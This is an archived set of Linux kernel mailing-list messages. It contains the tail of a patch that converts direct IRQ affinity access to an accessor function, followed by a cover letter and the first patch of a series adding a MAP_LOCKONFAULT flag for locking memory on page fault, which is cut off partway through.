@@ -377,7 +377,8 @@ static void sun4u_irq_enable(struct irq_data *data)
 		unsigned long cpuid, imap, val;
 		unsigned int tid;
 
-		cpuid = irq_choose_cpu(data->irq, data->affinity);
+		cpuid = irq_choose_cpu(data->irq,
+				       irq_data_get_affinity_mask(data));
 		imap = handler_data->imap;
 
 		tid = sun4u_compute_tid(imap, cpuid);
@@ -449,7 +450,8 @@ static void sun4u_irq_eoi(struct irq_data *data)
 
 static void sun4v_irq_enable(struct irq_data *data)
 {
-	unsigned long cpuid = irq_choose_cpu(data->irq, data->affinity);
+	unsigned long cpuid = irq_choose_cpu(data->irq,
+					     irq_data_get_affinity_mask(data));
 	unsigned int ino = irq_data_to_sysino(data);
 	int err;
 
@@ -511,7 +513,7 @@ static void sun4v_virq_enable(struct irq_data *data)
 	unsigned long cpuid;
 	int err;
 
-	cpuid = irq_choose_cpu(data->irq, data->affinity);
+	cpuid = irq_choose_cpu(data->irq, irq_data_get_affinity_mask(data));
 
 	err = sun4v_vintr_set_target(dev_handle, dev_ino, cpuid);
 	if (err != HV_EOK)
@@ -884,8 +886,8 @@ void fixup_irqs(void)
 		if (desc->action && !irqd_is_per_cpu(data)) {
 			if (data->chip->irq_set_affinity)
 				data->chip->irq_set_affinity(data,
-							     data->affinity,
-							     false);
+					irq_data_get_affinity_mask(data),
+					false);
 		}
 		raw_spin_unlock_irqrestore(&desc->lock, flags);
 	}
diff --git a/arch/sparc/kernel/leon_kernel.c b/arch/sparc/kernel/leon_kernel.c
index 9bbb8f2bbfcc..0299f052a2ef 100644
--- a/arch/sparc/kernel/leon_kernel.c
+++ b/arch/sparc/kernel/leon_kernel.c
@@ -126,7 +126,7 @@ static int leon_set_affinity(struct irq_data *data, const struct cpumask *dest,
 	int oldcpu, newcpu;
 
 	mask = (unsigned long)data->chip_data;
-	oldcpu = irq_choose_cpu(data->affinity);
+	oldcpu = irq_choose_cpu(irq_data_get_affinity_mask(data));
 	newcpu = irq_choose_cpu(dest);
 
 	if (oldcpu == newcpu)
@@ -149,7 +149,7 @@ static void leon_unmask_irq(struct irq_data *data)
 	int cpu;
 
 	mask = (unsigned long)data->chip_data;
-	cpu = irq_choose_cpu(data->affinity);
+	cpu = irq_choose_cpu(irq_data_get_affinity_mask(data));
 	spin_lock_irqsave(&leon_irq_lock, flags);
 	oldmask = LEON3_BYPASS_LOAD_PA(LEON_IMASK(cpu));
 	LEON3_BYPASS_STORE_PA(LEON_IMASK(cpu), (oldmask | mask));
@@ -162,7 +162,7 @@ static void leon_mask_irq(struct irq_data *data)
 	int cpu;
 
 	mask = (unsigned long)data->chip_data;
-	cpu = irq_choose_cpu(data->affinity);
+	cpu = irq_choose_cpu(irq_data_get_affinity_mask(data));
 	spin_lock_irqsave(&leon_irq_lock, flags);
 	oldmask = LEON3_BYPASS_LOAD_PA(LEON_IMASK(cpu));
 	LEON3_BYPASS_STORE_PA(LEON_IMASK(cpu), (oldmask & ~mask));
diff --git a/arch/x86/kernel/apic/io_apic.c b/arch/x86/kernel/apic/io_apic.c
index 845dc0df2002..09921de4210f 100644
--- a/arch/x86/kernel/apic/io_apic.c
+++ b/arch/x86/kernel/apic/io_apic.c
@@ -2541,7 +2541,7 @@ void __init setup_ioapic_dest(void)
 		 * Honour affinities which have been set in early boot
 		 */
 		if (!irqd_can_balance(idata) || irqd_affinity_was_set(idata))
-			mask = idata->affinity;
+			mask = irq_data_get_affinity_mask(idata);
 		else
 			mask = apic->target_cpus();
 
diff --git a/arch/x86/kernel/apic/vector.c b/arch/x86/kernel/apic/vector.c
index 983bea2a09ce..c488d8b5d50b 100644
--- a/arch/x86/kernel/apic/vector.c
+++ b/arch/x86/kernel/apic/vector.c
@@ -546,9 +546,8 @@ static int apic_set_affinity(struct irq_data *irq_data,
 
 	err = assign_irq_vector(irq, data, dest);
 	if (err) {
-		struct irq_data *top = irq_get_irq_data(irq);
-
-		if (assign_irq_vector(irq, data, top->affinity))
+		if (assign_irq_vector(irq, data,
+				      irq_data_get_affinity_mask(irq_data)))
 			pr_err("Failed to recover vector for irq %d\n", irq);
 		return err;
 	}
diff --git a/arch/x86/kernel/irq.c b/arch/x86/kernel/irq.c
index e5952c225532..f5d9cc16399c 100644
--- a/arch/x86/kernel/irq.c
+++ b/arch/x86/kernel/irq.c
@@ -306,7 +306,8 @@ int check_irq_vectors_for_cpu_disable(void)
 				continue;
 
 			data = irq_desc_get_irq_data(desc);
-			cpumask_copy(&affinity_new, data->affinity);
+			cpumask_copy(&affinity_new,
+				     irq_data_get_affinity_mask(data));
 			cpumask_clear_cpu(this_cpu, &affinity_new);
 
 			/* Do not count inactive or per-cpu irqs. */
@@ -384,7 +385,7 @@ void fixup_irqs(void)
 		raw_spin_lock(&desc->lock);
 
 		data = irq_desc_get_irq_data(desc);
-		affinity = data->affinity;
+		affinity = irq_data_get_affinity_mask(data);
 		if (!irq_has_action(irq) || irqd_is_per_cpu(data) ||
 		    cpumask_subset(affinity, cpu_online_mask)) {
 			raw_spin_unlock(&desc->lock);
diff --git a/arch/xtensa/kernel/irq.c b/arch/xtensa/kernel/irq.c
index 3eee94f621eb..d7b5a4c8ae5d 100644
--- a/arch/xtensa/kernel/irq.c
+++ b/arch/xtensa/kernel/irq.c
@@ -166,23 +166,25 @@ void migrate_irqs(void)
 
 	for_each_active_irq(i) {
 		struct irq_data *data = irq_get_irq_data(i);
+		struct cpumask *mask;
 		unsigned int newcpu;
 
 		if (irqd_is_per_cpu(data))
 			continue;
 
-		if (!cpumask_test_cpu(cpu, data->affinity))
+		mask = irq_data_get_affinity_mask(data);
+		if (!cpumask_test_cpu(cpu, mask))
 			continue;
 
-		newcpu = cpumask_any_and(data->affinity, cpu_online_mask);
+		newcpu = cpumask_any_and(mask, cpu_online_mask);
 
 		if (newcpu >= nr_cpu_ids) {
 			pr_info_ratelimited("IRQ%u no longer affine to CPU%u\n",
 					    i, cpu);
 
-			cpumask_setall(data->affinity);
+			cpumask_setall(mask);
 		}
-		irq_set_affinity(i, data->affinity);
+		irq_set_affinity(i, mask);
 	}
 }
 #endif /* CONFIG_HOTPLUG_CPU */
diff --git a/drivers/irqchip/irq-mips-gic.c b/drivers/irqchip/irq-mips-gic.c
index 57f09cb54464..09257c301bd2 100644
--- a/drivers/irqchip/irq-mips-gic.c
+++ b/drivers/irqchip/irq-mips-gic.c
@@ -403,7 +403,7 @@ static int gic_set_affinity(struct irq_data *d, const struct cpumask *cpumask,
 		clear_bit(irq, pcpu_masks[i].pcpu_mask);
 	set_bit(irq, pcpu_masks[cpumask_first(&tmp)].pcpu_mask);
 
-	cpumask_copy(d->affinity, cpumask);
+	cpumask_copy(irq_data_get_affinity_mask(d), cpumask);
 	spin_unlock_irqrestore(&gic_lock, flags);
 
 	return IRQ_SET_MASK_OK_NOCOPY;
diff --git a/drivers/parisc/iosapic.c b/drivers/parisc/iosapic.c
index 9ee04b4b68bf..144c77dfe4b1 100644
--- a/drivers/parisc/iosapic.c
+++ b/drivers/parisc/iosapic.c
@@ -691,7 +691,7 @@ static int iosapic_set_affinity_irq(struct irq_data *d,
 	if (dest_cpu < 0)
 		return -1;
 
-	cpumask_copy(d->affinity, cpumask_of(dest_cpu));
+	cpumask_copy(irq_data_get_affinity_mask(d), cpumask_of(dest_cpu));
 	vi->txn_addr = txn_affinity_addr(d->irq, dest_cpu);
 
 	spin_lock_irqsave(&iosapic_lock, flags);
diff --git a/drivers/sh/intc/chip.c b/drivers/sh/intc/chip.c
index 46427b48e2f1..358df7510186 100644
--- a/drivers/sh/intc/chip.c
+++ b/drivers/sh/intc/chip.c
@@ -22,7 +22,7 @@ void _intc_enable(struct irq_data *data, unsigned long handle)
 
 	for (cpu = 0; cpu < SMP_NR(d, _INTC_ADDR_E(handle)); cpu++) {
 #ifdef CONFIG_SMP
-		if (!cpumask_test_cpu(cpu, data->affinity))
+		if (!cpumask_test_cpu(cpu, irq_data_get_affinity_mask(data)))
 			continue;
 #endif
 		addr = INTC_REG(d, _INTC_ADDR_E(handle), cpu);
@@ -50,7 +50,7 @@ static void intc_disable(struct irq_data *data)
 
 	for (cpu = 0; cpu < SMP_NR(d, _INTC_ADDR_D(handle)); cpu++) {
 #ifdef CONFIG_SMP
-		if (!cpumask_test_cpu(cpu, data->affinity))
+		if (!cpumask_test_cpu(cpu, irq_data_get_affinity_mask(data)))
 			continue;
 #endif
 		addr = INTC_REG(d, _INTC_ADDR_D(handle), cpu);
@@ -72,7 +72,7 @@ static int intc_set_affinity(struct irq_data *data,
 	if (!cpumask_intersects(cpumask, cpu_online_mask))
 		return -1;
 
-	cpumask_copy(data->affinity, cpumask);
+	cpumask_copy(irq_data_get_affinity_mask(data), cpumask);
 
 	return IRQ_SET_MASK_OK_NOCOPY;
 }
diff --git a/drivers/xen/events/events_base.c b/drivers/xen/events/events_base.c
index 70fba973a107..b472ce6b7ad3 100644
--- a/drivers/xen/events/events_base.c
+++ b/drivers/xen/events/events_base.c
@@ -336,7 +336,7 @@ static void bind_evtchn_to_cpu(unsigned int chn, unsigned int cpu)
 
 	BUG_ON(irq == -1);
 #ifdef CONFIG_SMP
-	cpumask_copy(irq_get_irq_data(irq)->affinity, cpumask_of(cpu));
+	cpumask_copy(irq_get_affinity_mask(irq), cpumask_of(cpu));
 #endif
 	xen_evtchn_port_bind_to_cpu(info, cpu);
 
@@ -373,7 +373,7 @@ static void xen_irq_init(unsigned irq)
 	struct irq_info *info;
 #ifdef CONFIG_SMP
 	/* By default all event channels notify CPU#0. */
-	cpumask_copy(irq_get_irq_data(irq)->affinity, cpumask_of(0));
+	cpumask_copy(irq_get_affinity_mask(irq), cpumask_of(0));
 #endif
 
 	info = kzalloc(sizeof(*info), GFP_KERNEL);
diff --git a/include/linux/irq.h b/include/linux/irq.h
index 43581e166298..cf386d97b96d 100644
--- a/include/linux/irq.h
+++ b/include/linux/irq.h
@@ -650,6 +650,17 @@ static inline int irq_data_get_node(struct irq_data *d)
 	return irq_common_data_get_node(d->common);
 }
 
+static inline struct cpumask *irq_get_affinity_mask(int irq)
+{
+	struct irq_data *d = irq_get_irq_data(irq);
+	return d ? d->affinity : NULL;
+}
+
+static inline struct cpumask *irq_data_get_affinity_mask(struct irq_data *d)
+{
+	return d->affinity;
+}
+
 unsigned int arch_dynirq_lower_bound(unsigned int from);
 
 int __irq_alloc_descs(int irq, unsigned int from, unsigned int cnt, int node,
-- 
1.7.10.4




From - Thu Nov 08 21:37:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:37:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.cross-arch,gmane.linux.kernel.api
Subject: [PATCH 0/3] Allow user to request memory to be locked on page fault
Date: Fri,  8 May 2015 15:33:43 -0400
Lines: 73
Approved: news@gmane.org
Message-ID: <1431113626-19153-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1431113649 14268 80.91.229.3 (8 May 2015 19:34:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 May 2015 19:34:09 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>,
	Shuah Khan <shuahkh@osg.samsung.com>,
	linux-alpha@vger.kernel.org, linux-kernel@vger.kernel.org,
	linux-mips@linux-mips.org, linux-parisc@vger.kernel.org,
	linuxppc-dev@lists.ozlabs.org, sparclinux@vger.kernel.org,
	linux-xtensa@linux-xtensa.org, linux-mm@kvack.org,
	linux-arch@vger.kernel.org, linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-alpha-owner@vger.kernel.org Fri May 08 21:34:07 2015
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1Yqo2A-0002Bl-7n
	for lnx-linux-alpha@plane.gmane.org; Fri, 08 May 2015 21:34:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932514AbbEHTeE (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Fri, 8 May 2015 15:34:04 -0400
Original-Received: from prod-mail-xrelay02.akamai.com ([72.246.2.14]:52344 "EHLO
	prod-mail-xrelay02.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932230AbbEHTeB (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Fri, 8 May 2015 15:34:01 -0400
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 4384A285F4;
	Fri,  8 May 2015 19:34:00 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 30DCB285F0;
	Fri,  8 May 2015 19:34:00 +0000 (GMT)
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.13.70])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 2B2ED2030;
	Fri,  8 May 2015 19:34:00 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3062 gmane.linux.kernel:1949132 gmane.linux.ports.mips.general:48443 gmane.linux.ports.parisc:25718 gmane.linux.ports.ppc64.devel:112693 gmane.linux.ports.sparc:21012 gmane.linux.kernel.mm:132473 gmane.linux.kernel.cross-arch:27563 gmane.linux.kernel.api:10828
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3062>

mlock() allows a user to control page out of program memory, but this
comes at the cost of faulting in the entire mapping when it is
allocated.  For large mappings where the entire area is not necessary
this is not ideal.

This series introduces new flags for mmap() and mlockall() that allow a
user to specify that the covered are should not be paged out, but only
after the memory has been used the first time.

The performance cost of these patches are minimal on the two benchmarks
I have tested (stream and kernbench).

Avg throughput in MB/s from stream using 1000000 element arrays
Test     4.1-rc2      4.1-rc2+lock-on-fault
Copy:    10,979.08    10,917.34
Scale:   11,094.45    11,023.01
Add:     12,487.29    12,388.65
Triad:   12,505.77    12,418.78

Kernbench optimal load
                 4.1-rc2  4.1-rc2+lock-on-fault
Elapsed Time     71.046   71.324
User Time        62.117   62.352
System Time      8.926    8.969
Context Switches 14531.9  14542.5
Sleeps           14935.9  14939

Eric B Munson (3):
  Add flag to request pages are locked after page fault
  Add mlockall flag for locking pages on fault
  Add tests for lock on fault

 arch/alpha/include/uapi/asm/mman.h          |   2 +
 arch/mips/include/uapi/asm/mman.h           |   2 +
 arch/parisc/include/uapi/asm/mman.h         |   2 +
 arch/powerpc/include/uapi/asm/mman.h        |   2 +
 arch/sparc/include/uapi/asm/mman.h          |   2 +
 arch/tile/include/uapi/asm/mman.h           |   2 +
 arch/xtensa/include/uapi/asm/mman.h         |   2 +
 include/linux/mm.h                          |   1 +
 include/linux/mman.h                        |   3 +-
 include/uapi/asm-generic/mman.h             |   2 +
 mm/mlock.c                                  |  13 ++-
 mm/mmap.c                                   |   4 +-
 mm/swap.c                                   |   3 +-
 tools/testing/selftests/vm/Makefile         |   8 +-
 tools/testing/selftests/vm/lock-on-fault.c  | 145 ++++++++++++++++++++++++++++
 tools/testing/selftests/vm/on-fault-limit.c |  47 +++++++++
 tools/testing/selftests/vm/run_vmtests      |  23 +++++
 17 files changed, 254 insertions(+), 9 deletions(-)
 create mode 100644 tools/testing/selftests/vm/lock-on-fault.c
 create mode 100644 tools/testing/selftests/vm/on-fault-limit.c

Cc: Shuah Khan <shuahkh@osg.samsung.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org

-- 
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Eric B Munson <emunson@akamai.com>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sparc,gmane.linux.kernel.mm,gmane.linux.kernel.api
Subject: [PATCH 1/3] Add flag to request pages are locked after page fault
Date: Fri,  8 May 2015 15:33:44 -0400
Lines: 195
Approved: news@gmane.org
Message-ID: <1431113626-19153-2-git-send-email-emunson@akamai.com>
References: <1431113626-19153-1-git-send-email-emunson@akamai.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1431113660 14409 80.91.229.3 (8 May 2015 19:34:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 May 2015 19:34:20 +0000 (UTC)
Cc: Eric B Munson <emunson@akamai.com>, linux-alpha@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-mips@linux-mips.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	sparclinux@vger.kernel.org, linux-xtensa@linux-xtensa.org,
	linux-mm@kvack.org, linux-arch@vger.kernel.org,
	linux-api@vger.kernel.org
To: Andrew Morton <akpm@linux-foundation.org>
Original-X-From: linux-arch-owner@vger.kernel.org Fri May 08 21:34:19 2015
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-arch-owner@vger.kernel.org>)
	id 1Yqo2L-0002KT-LQ
	for glka-linux-arch@plane.gmane.org; Fri, 08 May 2015 21:34:18 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932594AbbEHTeN (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Fri, 8 May 2015 15:34:13 -0400
Original-Received: from prod-mail-xrelay02.akamai.com ([72.246.2.14]:52390 "EHLO
	prod-mail-xrelay02.akamai.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S932230AbbEHTeH (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Fri, 8 May 2015 15:34:07 -0400
Original-Received: from prod-mail-xrelay02.akamai.com (localhost [127.0.0.1])
	by postfix.imss70 (Postfix) with ESMTP id 8BD3B285F9;
	Fri,  8 May 2015 19:34:06 +0000 (GMT)
Original-Received: from prod-mail-relay06.akamai.com (prod-mail-relay06.akamai.com [172.17.120.126])
	by prod-mail-xrelay02.akamai.com (Postfix) with ESMTP id 7812B285F8;
	Fri,  8 May 2015 19:34:06 +0000 (GMT)
Original-Received: from bos-lp6ds.kendall.corp.akamai.com (bos-lp6ds.kendall.corp.akamai.com [172.28.13.70])
	by prod-mail-relay06.akamai.com (Postfix) with ESMTP id 6ED2C2030;
	Fri,  8 May 2015 19:34:06 +0000 (GMT)
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1431113626-19153-1-git-send-email-emunson@akamai.com>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:27564 gmane.linux.ports.alpha:3063 gmane.linux.kernel:1949133 gmane.linux.ports.mips.general:48444 gmane.linux.ports.parisc:25719 gmane.linux.ports.ppc64.devel:112694 gmane.linux.ports.sparc:21013 gmane.linux.kernel.mm:132474 gmane.linux.kernel.api:10829
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel.cross-arch/27564>

The cost of faulting in all memory to be locked can be very high when
working with large mappings.  If only portions of the mapping will be
used this can incur a high penalty for locking.  This patch introduces
the ability to request that pages are not pre-faulted, but are placed on
the unevictable LRU when they are finally faulted in.

To keep accounting checks out of the page fault path, users are billed
for the entire mapping lock as if MAP_LOCKED was used.

Signed-off-by: Eric B Munson <emunson@akamai.com>
Cc: linux-alpha@vger.kernel.org
Cc: linux-kernel@vger.kernel.org
Cc: linux-mips@linux-mips.org
Cc: linux-parisc@vger.kernel.org
Cc: linuxppc-dev@lists.ozlabs.org
Cc: sparclinux@vger.kernel.org
Cc: linux-xtensa@linux-xtensa.org
Cc: linux-mm@kvack.org
Cc: linux-arch@vger.kernel.org
Cc: linux-api@vger.kernel.org
---
 arch/alpha/include/uapi/asm/mman.h   | 1 +
 arch/mips/include/uapi/asm/mman.h    | 1 +
 arch/parisc/include/uapi/asm/mman.h  | 1 +
 arch/powerpc/include/uapi/asm/mman.h | 1 +
 arch/sparc/include/uapi/asm/mman.h   | 1 +
 arch/tile/include/uapi/asm/mman.h    | 1 +
 arch/xtensa/include/uapi/asm/mman.h  | 1 +
 include/linux/mm.h                   | 1 +
 include/linux/mman.h                 | 3 ++-
 include/uapi/asm-generic/mman.h      | 1 +
 mm/mmap.c                            | 4 ++--
 mm/swap.c                            | 3 ++-
 12 files changed, 15 insertions(+), 4 deletions(-)

diff --git a/arch/alpha/include/uapi/asm/mman.h b/arch/alpha/include/uapi/asm/mman.h
index 0086b47..15e96e1 100644
--- a/arch/alpha/include/uapi/asm/mman.h
+++ b/arch/alpha/include/uapi/asm/mman.h
@@ -30,6 +30,7 @@
 #define MAP_NONBLOCK	0x40000		/* do not block on IO */
 #define MAP_STACK	0x80000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x100000	/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x200000	/* Lock pages after they are faulted in, do not prefault */
 
 #define MS_ASYNC	1		/* sync memory asynchronously */
 #define MS_SYNC		2		/* synchronous memory sync */
diff --git a/arch/mips/include/uapi/asm/mman.h b/arch/mips/include/uapi/asm/mman.h
index cfcb876..47846a5 100644
--- a/arch/mips/include/uapi/asm/mman.h
+++ b/arch/mips/include/uapi/asm/mman.h
@@ -48,6 +48,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 /*
  * Flags for msync
diff --git a/arch/parisc/include/uapi/asm/mman.h b/arch/parisc/include/uapi/asm/mman.h
index 294d251..1514cd7 100644
--- a/arch/parisc/include/uapi/asm/mman.h
+++ b/arch/parisc/include/uapi/asm/mman.h
@@ -24,6 +24,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 
 #define MS_SYNC		1		/* synchronous memory sync */
 #define MS_ASYNC	2		/* sync memory asynchronously */
diff --git a/arch/powerpc/include/uapi/asm/mman.h b/arch/powerpc/include/uapi/asm/mman.h
index 6ea26df..fce74fe 100644
--- a/arch/powerpc/include/uapi/asm/mman.h
+++ b/arch/powerpc/include/uapi/asm/mman.h
@@ -27,5 +27,6 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 #endif /* _UAPI_ASM_POWERPC_MMAN_H */
diff --git a/arch/sparc/include/uapi/asm/mman.h b/arch/sparc/include/uapi/asm/mman.h
index 0b14df3..12425d8 100644
--- a/arch/sparc/include/uapi/asm/mman.h
+++ b/arch/sparc/include/uapi/asm/mman.h
@@ -22,6 +22,7 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 
 #endif /* _UAPI__SPARC_MMAN_H__ */
diff --git a/arch/tile/include/uapi/asm/mman.h b/arch/tile/include/uapi/asm/mman.h
index 81b8fc3..ec04eaf 100644
--- a/arch/tile/include/uapi/asm/mman.h
+++ b/arch/tile/include/uapi/asm/mman.h
@@ -29,6 +29,7 @@
 #define MAP_DENYWRITE	0x0800		/* ETXTBSY */
 #define MAP_EXECUTABLE	0x1000		/* mark it as an executable */
 #define MAP_HUGETLB	0x4000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x8000		/* Lock pages after they are faulted in, do not prefault */
 
 
 /*
diff --git a/arch/xtensa/include/uapi/asm/mman.h b/arch/xtensa/include/uapi/asm/mman.h
index 201aec0..42d43cc 100644
--- a/arch/xtensa/include/uapi/asm/mman.h
+++ b/arch/xtensa/include/uapi/asm/mman.h
@@ -55,6 +55,7 @@
 #define MAP_NONBLOCK	0x20000		/* do not block on IO */
 #define MAP_STACK	0x40000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x80000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x100000	/* Lock pages after they are faulted in, do not prefault */
 #ifdef CONFIG_MMAP_ALLOW_UNINITIALIZED
 # define MAP_UNINITIALIZED 0x4000000	/* For anonymous mmap, memory could be
 					 * uninitialized */
diff --git a/include/linux/mm.h b/include/linux/mm.h
index 0755b9f..3e31457 100644
--- a/include/linux/mm.h
+++ b/include/linux/mm.h
@@ -126,6 +126,7 @@ extern unsigned int kobjsize(const void *objp);
 #define VM_PFNMAP	0x00000400	/* Page-ranges managed without "struct page", just pure PFN */
 #define VM_DENYWRITE	0x00000800	/* ETXTBSY on write attempts.. */
 
+#define VM_LOCKONFAULT	0x00001000	/* Lock the pages covered when they are faulted in */
 #define VM_LOCKED	0x00002000
 #define VM_IO           0x00004000	/* Memory mapped I/O or similar */
 
diff --git a/include/linux/mman.h b/include/linux/mman.h
index 16373c8..437264b 100644
--- a/include/linux/mman.h
+++ b/include/linux/mman.h
@@ -86,7 +86,8 @@ calc_vm_flag_bits(unsigned long flags)
 {
 	return _calc_vm_trans(flags, MAP_GROWSDOWN,  VM_GROWSDOWN ) |
 	       _calc_vm_trans(flags, MAP_DENYWRITE,  VM_DENYWRITE ) |
-	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    );
+	       _calc_vm_trans(flags, MAP_LOCKED,     VM_LOCKED    ) |
+	       _calc_vm_trans(flags, MAP_LOCKONFAULT,VM_LOCKONFAULT);
 }
 
 unsigned long vm_commit_limit(void);
diff --git a/include/uapi/asm-generic/mman.h b/include/uapi/asm-generic/mman.h
index e9fe6fd..fc4e586 100644
--- a/include/uapi/asm-generic/mman.h
+++ b/include/uapi/asm-generic/mman.h
@@ -12,6 +12,7 @@
 #define MAP_NONBLOCK	0x10000		/* do not block on IO */
 #define MAP_STACK	0x20000		/* give out an address that is best suited for process/thread stacks */
 #define MAP_HUGETLB	0x40000		/* create a huge page mapping */
+#define MAP_LOCKONFAULT	0x80000		/* Lock pages after they are faulted in, do not prefault */
 
 /* Bits [26:31] are reserved, see mman-common.h for MAP_HUGETLB usage */
 
diff --git a/mm/mmap.c b/mm/mmap.c
index bb50cac..ba1a6bf 100644
--- a/mm/mmap.c
+++ b/mm/mmap.c
@@ -1233,7 +1233,7 @@ static inline int mlock_future_check(struct mm_struct *mm,
 	unsigned long locked, lock_limit;
 
 	/*  mlock MCL_FUTURE? */
-	if (flags & VM_LOCKED) {
+	if (flags & (VM_LOCKED | VM_LOCKONFAULT)) {
 		locked = len >> PAGE_SHIFT;
 		locked += mm->locked_vm;
 		lock_limit = rlimit(RLIMIT_MEMLOCK);
@@ -1301,7 +1301,7 @@ unsigned long do_mmap_pgoff(struct file *file, unsigned long addr,
 	vm_flags = calc_vm_prot_bits(prot) | calc_vm_flag_bits(flags) |
 			mm->def_flags | VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC;
 
-	if (flags & MAP_LOCKED)
+	if (flags & (MAP_LOCKED | MAP_LOCKONFAULT))
 		if (!can_do_mlock())
 			return -EPERM;
 
diff --git a/mm/swap.c b/mm/swap.c
index a7251a8..07c905e 100644
--- a/mm/swap.c
+++ b/mm/swap.c
@@ -711,7 +711,8 @@ void lru_cache_add_active_or_unevictable(struct page *page,
 {
 	VM_BUG_ON_PAGE(PageLRU(page), page);
 
-	if (likely((vma->vm_flags & (VM_LOCKED | VM_SPECIAL)) != VM_LOCKED)) {
+	if (likely((vma->vm_flags & (VM_LOCKED | VM_LOCKONFAULT)) == 0) ||
+		   (vma->vm_flags & VM_SPECIAL)) {
 		SetPageActive(page);
